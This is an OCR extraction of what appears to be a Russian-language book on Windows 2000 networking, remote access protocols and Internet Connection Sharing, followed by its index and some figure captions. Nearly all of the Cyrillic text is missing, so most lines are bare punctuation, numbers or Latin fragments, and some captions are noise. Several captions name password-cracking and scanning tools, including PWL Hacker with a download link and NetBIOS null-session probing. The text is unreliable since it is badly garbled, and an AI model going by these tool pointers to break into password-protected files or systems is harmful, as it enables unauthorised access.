L2TP, IPSec.
L2TP, IPSec,
, .

, RRAS
: TCP/IP, IPX, NetBEUI AppleTalk. RAS Windows 2000 .
RAS , AppleTalk.
RRAS, Windows 2000 Server
RAS.
RAS .
.
TCP/IP
, TCP/IP
Windows 2000 , TCP/IP, Internet.
IP-, , , ,
. TCP/IP 12.
231
, TCP/IP .
DHCP, . ,
IP- (
).
IPX
IPX ,
Novell NetWare. IPX RAS
Windows 2000 NetWare, NetWare RAS-. Windows 2000 RAS, IPX, IPX-, RIP, SAP NetBIOS . IPX,
NetWare. , IPX/SPX/NetBIOS.
Windows 2000 Professional NetWare
NetWare. Windows 2000 Server NetWare.
RAS Windows 2000 IPX-
. IPX- , TCP/IP , . , , .
.
RIP-, RAS.
NetBEUI
NetBEUI , . ,
,
Internet. , Internet, "" Internet.
NetBEUI RAS Windows 2000 NetBEUI
RAS, .
, IP-, NetBEUI WINS-.
AppleTalk
AppleTalk Macintosh. Windows 2000 RAS AppleTalk,
Macintosh
AppleTalk . AppleTalk RAS, AppleTalk RAS-.
Internet
Internet Web.

232
///. Windows 2000
, .
Windows 2000, Internet Connection Sharing (ICS,
Internet), Internet . Windows 2000,
Internet, proxy-,
. DHCP-,
.
, 192.168.0.0
( 255.255.255.0). Internet, Windows 2000 192.168.0.0 ,
. ,
, IP- 192.168.0.1.
,
192.168.0.1 . Internet ,
. ,
, , DHCP, proxy-DNS ..
ICS , Internet.
Windows 2000, DHCP- RAS, (NAT).

Internet
Internet
.
, , . , .
(. 12.3).
,
Internet, . , , Internet. (, , ISDN ..) .

. , .
Internet .
1. ,
. Internet, .
2. .
3. .
4. , ,
- Internet
.
12.
233
] ]
*
;
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.
'-? '>'13(*<
..
'
. 12.3. Internet
5. ,
, ,
.
, , . , ,
, 30 . Internet 1520 .

ICS- -
; , Internet Explorer proxy-. , ,
, ICS-,
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BNC-, 42
C1DR, 36
Ethernet
lOOOBaseT, 42
100BaseFX, 42
100BaseT, 42
10Base2, 41
10Base5, 41
lOBaseT, 41
Y
Yellow Ethernet, 43
1
Fast Ethernet, 44
G
Gigabit Ethernet, 45
II
HSM, 242
1
IP-, 35; 200
, 36
, 36
, 36
D, 35
IP-, 200
1,
LSA, 289
MSAU, 23
PWL-, 116
R
RAID-, 86
RAID-, 55
S.M.A.R.T, 151
w
Web-, 274
Windows Sockets, 36
RC4, 124
, 141
, 91
System, 58
, 97
DoS, 109
Ping of Death, 110
Smurf, 111
SYN, 111

1,

, 291
, 292

MIB, 96
SAM, 62; 191
, 240
TGT, 289
, 142
, 142
, 124
, 112
Ethernet, 64
, 55
, 191
, 131; 193
, 193
, 193,
, 193
, 193
, 183
, 211
, 76
, 166
, 241
, 62: 78
, 182

, 191
, 256
, 166
, 238
, 255
, 115
RID, 192
SID, 192
, 86
,
97
LDAP, 182
RFC822, 182
UPN, 182
NetBIOS, 32
Winsock, 33
, 26
STP, 26
UTP, 26
, 26
, 26

, 26
, 26
, 86
, 37
, 106; 287
, 287
, 288
, 288
, 287
, 141
CRC, 29S
, 142
304
, 141
config, 102
convert <>: /fsrntfs, 76
ifconfig, 102
ipconfig, 102
load iptrace, 101
nbtstat, 118
net view, 118
pathping, 101
ping, 100
traceroute, 101
tracer!, 101
winipconfig, 102
DFS, 248
Internet Information Services, 274
M MC, 62
, 172
, 171; 229
, 175
, 175
, 172
Microsoft, 171
RAID-5, 55
, 62; 156
, 62
, 62
, 24; 49
, 24; 49
, 24; 49
, 251
, 183
, 206
, 226
, 256
, 200
Windows 2000, 167

Active
Directory, 184
, 64
, 240
QAM, 295
, 295

CSMA/CD, 41
, 35
OSI, 31
, 33
, 31
, 32
, 33
, 33
, 31
, 33
S-, 298
/, 295
/, 295
/, 295
, 259
, 91
, 258
, 94
GPO, 88
, 35;

, 29
, 29
, 88
, 85
RAID-0, 86
RAID-I, 85
RAID-2, 86
RAID-3, 85
RAID-4, 86
RAID-5, 86
, 183
, 22
, 258
, 106
Ethernet, 63
, 206
, 60
, 88; 197
, 88
, 142
, 191
, 259
, 196
, 55; 62; 239
, 196
, 79
, 261
, 261
Advanced RAR Password Recovery. 107
Advanced ZIP Recovery Password, 107

GFI LANguard Network Security Scanner 3,
107
LOpntCrack, 122
ManageWise 2.7, 94
NetBrute Scanner, 117
Sniffer, 93
System Monitor, 92
, 107
, 115
NMS, 96
ViewLAN, 96
, 33
, 138
AppleTalk, 232
EAP-MD5 CHAP, 228
EAP-TLS, 228
ESP, 138
FTP, 280
ICMP, 100
IPSec, 138; 290
IPX, 232
IPX/SPX, 34
Kerberos. 184; 289
L2TP, 231
LDAP, 180
LEAP, 126
LLC, 33
MAC, 33
Microsoft RAS, 230
MS-CHAP 2, 227
NetBEUI, 34; 232
NetBIOS, 34
NNTP, 284
OSPF, 209
RIP, 37; 209
SLIP, 230
SMTP, 282
SNMP, 96
SSL, 139
TCP/IP. 35; 199; 231
TFTP, 37
WEP, 123

,33
, 227
, 227
, 228
, 230
, 230
, 231
,
33
, 196
, 221
305

AUI, 43; 61
RJ-45, 28; 59
, 54

, 150
, 150
, 150
, 247
TDR, 97
, 37
, 155
, 161; 260
, 161
, 162
, 156
, 161
, 245
, 288
, 37
, 22; 49
, 20
lOOBasel, 44
lOOVG-AnyLAN, 48
CDDI, 47
FDDI, 46
NetWare 5.x, 63
Token Ring, 45
, 21
, 200
, 200
, 200
, 21
, 34
, 37
DHCP, 219
, 220
DNS, 221
, 221
, 221
FRS, 247
HTTP, 280
IAS, 228
NDS, 63
RADIUS, 225
RAS, 224
RRAS, 224
RSS, 242
SMTP, 283
WINS, 221
Active Directory, 179

, 257
, 191
, 106
306
HCL, 163
, 26
3DES, 141
DES, 141
SCSI-II, 55
WPA, 126
.500, 179
-, 267
, 182
, 206
, 239
, 206
, 238
, 22
, 23
, 22
, 22
, 22
, 22
, 21
, 22
, 22
, 169
, 241
, 243
, 60
, 89
, 261
, 102
Nbtstat, 102
Netstat, 102
route, 102
winnt.exe, 170
winnt32.exe, 167
, 98
, 62
, 191
, 191
, 191
, 191
LMHOSTS, 221
NTLDR, 239

DFS, 244
EFS, 132
FAT16, 238
FAT32, 239
NTFS, 239
-, 161
EMF, 258
, 142
, 112
, 115
, 32; 200
GSNW, 32
. 32
, 288
307
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TCP/IP
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IV

ISBN 5-8459-0504-4 (.)

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. 8.1. Advanced ZIP Password Recovery

06072 12:32:41 AR^R verdonlT30buJd3auricbed,ijrrecpstefed version some

. 8.2. Advanced RAR Password Recovery

PWL- , Internet . PWL Hacker (http: / / w w w . u i n c . r u / f lies/useful.pwl_h402 .rar):

| Enter the User Password:

. 8.4. NetBrute Scanner

, Windows NT4/2000 "NetBIOS: Null Session". NULL

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View Import Session Hdp

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JDccuments and Seltngs

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3. Administrators Delete ().

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. 8.13. Outlook Express

| j .if ., -;.',1. .Jy?H*n . > tj

~ Text - 3QK documnt

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